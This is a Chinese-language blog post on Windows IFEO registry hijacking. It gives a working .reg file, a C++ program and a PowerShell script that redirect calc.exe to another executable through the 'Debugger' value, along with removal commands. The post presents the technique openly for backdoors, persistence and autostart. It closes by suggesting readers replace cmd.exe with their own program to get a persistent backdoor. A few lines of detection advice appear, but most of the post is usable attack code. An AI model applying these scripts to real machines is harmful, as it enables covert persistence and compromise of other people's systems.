IFEO劫持

IFEO 劫持,全称是 Image File Execution Options 劫持,是一种经典的 Windows 注册表劫持技术,常用于:

  • 调试器注入(调试器劫持)

  • 替换可执行文件(木马植入/后门)

  • 权限维持(持续存在)

  • 沙箱检测绕过 / 自动启动注入器

原理简介

Windows 注册表中的 Image File Execution Options(简称 IFEO)键可用于在程序运行前注入调试器等行为。
注册表路径如下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>
关键子键是:
"Debugger" = "C:\path\to\your\malicious.exe"
只要系统尝试运行 target.exe,它就会先运行 Debugger 指定的程序,而不是目标程序本身。

示例:劫持 calc.exe

手动操作(Regedit 或 reg.exe)

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe]
"Debugger"="C:\\Windows\\System32\\cmd.exe"

执行 calc.exe → 实际运行的是 cmd.exe。

程序化实现(C++ 示例)

点击查看代码
#include <windows.h>
#include <iostream>

int main() {
    HKEY hKey;
    LPCSTR target = "calc.exe";
    LPCSTR debuggerPath = "C:\\Windows\\System32\\cmd.exe";

    std::string keyPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + std::string(target);

    if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
        RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)debuggerPath, strlen(debuggerPath) + 1);
        RegCloseKey(hKey);
        std::cout << "IFEO 劫持成功" << std::endl;
    } else {
        std::cerr << "创建注册表键失败,请以管理员运行" << std::endl;
    }

    return 0;
}
注意:需要管理员权限才能修改 HKLM!

解除劫持

只需删除对应项:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /f

实战用途

用途说明
权限维持劫持系统工具,如 taskmgr.exe,执行后门
自启动劫持常用软件,用户打开时触发恶意程序
沙箱绕过沙箱中可能禁用此项,但用于检测是否运行在真实环境
调试用微软官方也使用此功能进行调试器附加
安全建议:
* 检查注册表下的 IFEO 项是否异常。
*不要随意以管理员运行未知程序。
*使用工具如 Autoruns、Process Monitor 排查。
PowerShell 脚本:设置 IFEO 劫持
点击查看代码
# 替换为你要劫持的目标程序
$targetExe = "calc.exe"

# 替换为你要注入的调试器(恶意程序)
$debuggerPath = "C:\Windows\System32\cmd.exe"

# 构造完整注册表路径
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$targetExe"

# 创建注册表项(如果不存在)
if (-not (Test-Path $regPath)) {
    New-Item -Path $regPath -Force | Out-Null
}

# 设置 Debugger 值
Set-ItemProperty -Path $regPath -Name "Debugger" -Value $debuggerPath

Write-Host "[+] IFEO 劫持已设置: $targetExe -> $debuggerPath"
解除劫持(还原)
点击查看代码
$targetExe = "calc.exe"
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$targetExe"

# 删除整个项
if (Test-Path $regPath) {
    Remove-Item -Path $regPath -Recurse -Force
    Write-Host "[+] 已移除 IFEO 劫持: $targetExe"
} else {
    Write-Host "[!] 未找到劫持项"
}
注意事项
必须以管理员身份运行 PowerShell,否则会报权限错误。 劫持对象不建议为关键系统进程(如 explorer.exe、csrss.exe),可能导致系统不稳定或无法登录。 劫持文件必须存在,否则目标程序运行时会提示错误。

示例效果

劫持 calc.exe 后运行:

calc.exe

将弹出:

cmd.exe

可结合自身程序替换 cmd.exe 实现持久化后门或提醒器启动。

posted @ 2025-08-11 22:52  huh&uh  阅读(13)  评论(0)    收藏  举报